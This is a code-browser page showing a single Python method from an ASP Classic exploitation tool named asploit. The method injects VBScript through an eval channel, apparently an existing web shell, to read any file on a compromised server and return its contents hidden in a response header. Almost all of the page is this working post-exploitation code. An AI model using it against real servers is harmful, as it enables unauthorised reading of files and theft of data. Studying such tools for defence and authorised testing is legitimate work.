MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__cat

Method _Base__cat

src/ASPClassicExploitProcessor.py:195–217  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

193 @brief See base class for details.
194 """
195 def _Base__cat(self, options: str):
196 if not options:
197 raise CommandException("Specify a file to print")
198
199 filePath = self.directory + "\\" + options.replace("/", "\\")
200 res = self.__eval(
201 "Set fileSys = "
202 "Server.CreateObject(\"Scripting.FileSystemObject\"):"
203 f"If fileSys.FileExists(\"{filePath}\") Then:"
204 "Set oFile = fileSys.OpenTextFile "
205 f"(\"{filePath}\", 1, False, 0):"
206 "If Not oFile.AtEndOfStream Then:"
207 f"Response.AddHeader \"{self.header}\", "
208 "Server.URLEncode(oFile.ReadAll):"
209 "Else:"
210 f"Response.AddHeader \"{self.header}\", \"\":"
211 "End If:"
212 "Else:"
213 f"Response.AddHeader \"{self.header}\", "
214 "\"File does not exist.\":"
215 "End If:"
216 )
217 print(urllib.parse.unquote_plus(res), end='')
218
219 """
220 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

__evalMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected